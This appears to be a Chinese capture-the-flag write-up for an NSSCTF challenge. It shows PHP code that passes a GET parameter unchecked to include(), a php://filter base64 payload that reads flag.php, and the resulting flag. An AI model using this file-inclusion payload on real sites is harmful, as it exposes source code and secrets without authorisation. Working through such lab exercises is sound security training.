开启NSSCTF靶场,打开链接:
直接看到源码:
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
尝试用php伪协议构造payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
去base64在线解密网站中解密:
php伪协议的思路是正确的,只不过是构造payload出错了,再仔细代码审计一下:
substr($_GET["file"], 0, 3) === "php"
这行代码检查通过GET请求传递的参数file的前三个字符是否等于"php",是的话就执行
echo "Nice!!!";
include($_GET["file"]);
再看一下构造的payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
呃,没什么问题啊
(注意:这里我反应过来直接是flag就可以了,不用flag.php)
得到flag:
NSSCTF{193c4917-43e8-41d4-8f55-015b2c9aba51}